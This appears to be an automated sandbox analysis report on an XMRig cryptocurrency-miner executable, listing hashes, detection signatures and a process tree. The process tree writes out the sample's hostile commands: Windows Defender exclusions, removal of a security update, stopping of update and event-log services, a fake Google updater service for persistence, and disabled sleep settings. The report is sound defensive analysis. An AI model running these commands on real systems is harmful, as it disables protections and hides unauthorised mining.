Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2024, 15:02

General

  • Target

    a074f13421954fe7e4a87b68d23179df440cc15b0aa3019752fdbece9379d9e7.exe

  • Size

    5.8MB

  • MD5

    190e68a764f232fa236a23317f80892b

  • SHA1

    a37b9e226334bc69abaacb539fb7ba9722831a76

  • SHA256

    a074f13421954fe7e4a87b68d23179df440cc15b0aa3019752fdbece9379d9e7

  • SHA512

    34c5d7d35a639a2c6ea183ad808a10bc0adaebf806975f6949da119c1d90c50f065b3d238a0bd6b7159394fe39a0322590fe229cae73f7c9cc393e721449c0a2

  • SSDEEP

    98304:ICAKtK2disEKWIAN9rDUQ60m+E+3syUSIkJEhxfAF8p4ucmEyVHNJdNOD5A:I7ObErIYeQ3nEIsyU2Y48CeHxNV

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a074f13421954fe7e4a87b68d23179df440cc15b0aa3019752fdbece9379d9e7.exe
    "C:\Users\Admin\AppData\Local\Temp\a074f13421954fe7e4a87b68d23179df440cc15b0aa3019752fdbece9379d9e7.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3260
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4636
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4224
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1292
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:4092
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:4116
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2972
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:5068
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2996
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4392
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2584
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3864
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4908
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:4696
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:4800
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:1640
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:5040
    • C:\ProgramData\GoogleUP\Chrome\Updater.exe
      C:\ProgramData\GoogleUP\Chrome\Updater.exe
      1⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4508
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5036
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4868
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4500
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:4932
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:1048
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:2136
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:4876
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:3604
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:804
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4248
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:5116
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4980
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:916
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3164

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              • C:\ProgramData\GoogleUP\Chrome\Updater.exe

                Filesize

                5.8MB

                MD5

                190e68a764f232fa236a23317f80892b

                SHA1

                a37b9e226334bc69abaacb539fb7ba9722831a76

                SHA256

                a074f13421954fe7e4a87b68d23179df440cc15b0aa3019752fdbece9379d9e7

                SHA512

                34c5d7d35a639a2c6ea183ad808a10bc0adaebf806975f6949da119c1d90c50f065b3d238a0bd6b7159394fe39a0322590fe229cae73f7c9cc393e721449c0a2

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zj5do40c.dli.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Windows\system32\drivers\etc\hosts

                Filesize

                3KB

                MD5

                00930b40cba79465b7a38ed0449d1449

                SHA1

                4b25a89ee28b20ba162f23772ddaf017669092a5

                SHA256

                eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

                SHA512

                cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

              • memory/916-59-0x0000000140000000-0x000000014000E000-memory.dmp

                Filesize

                56KB

              • memory/916-62-0x0000000140000000-0x000000014000E000-memory.dmp

                Filesize

                56KB

              • memory/916-55-0x0000000140000000-0x000000014000E000-memory.dmp

                Filesize

                56KB

              • memory/916-56-0x0000000140000000-0x000000014000E000-memory.dmp

                Filesize

                56KB

              • memory/916-57-0x0000000140000000-0x000000014000E000-memory.dmp

                Filesize

                56KB

              • memory/916-58-0x0000000140000000-0x000000014000E000-memory.dmp

                Filesize

                56KB

              • memory/3164-69-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-68-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-77-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-76-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-73-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-74-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-75-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-72-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-71-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-67-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-70-0x00000000014D0000-0x00000000014F0000-memory.dmp

                Filesize

                128KB

              • memory/3164-65-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-63-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-66-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3164-64-0x0000000140000000-0x0000000140848000-memory.dmp

                Filesize

                8.3MB

              • memory/3260-0-0x00007FF65D920000-0x00007FF65E526000-memory.dmp

                Filesize

                12.0MB

              • memory/4508-22-0x00007FF62CD30000-0x00007FF62D936000-memory.dmp

                Filesize

                12.0MB

              • memory/4636-12-0x00000126755F0000-0x0000012675612000-memory.dmp

                Filesize

                136KB

              • memory/4636-2-0x00007FFDEE073000-0x00007FFDEE075000-memory.dmp

                Filesize

                8KB

              • memory/4636-13-0x00007FFDEE070000-0x00007FFDEEB31000-memory.dmp

                Filesize

                10.8MB

              • memory/4636-14-0x00007FFDEE070000-0x00007FFDEEB31000-memory.dmp

                Filesize

                10.8MB

              • memory/4636-17-0x00007FFDEE070000-0x00007FFDEEB31000-memory.dmp

                Filesize

                10.8MB

              • memory/5036-42-0x000002085DC30000-0x000002085DC4C000-memory.dmp

                Filesize

                112KB

              • memory/5036-43-0x0000020860070000-0x0000020860125000-memory.dmp

                Filesize

                724KB

              • memory/5036-50-0x000002085DCB0000-0x000002085DCBA000-memory.dmp

                Filesize

                40KB

              • memory/5036-49-0x000002085DCA0000-0x000002085DCA6000-memory.dmp

                Filesize

                24KB

              • memory/5036-48-0x000002085DC70000-0x000002085DC78000-memory.dmp

                Filesize

                32KB

              • memory/5036-47-0x000002085DCC0000-0x000002085DCDA000-memory.dmp

                Filesize

                104KB

              • memory/5036-46-0x000002085DC60000-0x000002085DC6A000-memory.dmp

                Filesize

                40KB

              • memory/5036-45-0x000002085DC80000-0x000002085DC9C000-memory.dmp

                Filesize

                112KB

              • memory/5036-44-0x000002085DC50000-0x000002085DC5A000-memory.dmp

                Filesize

                40KB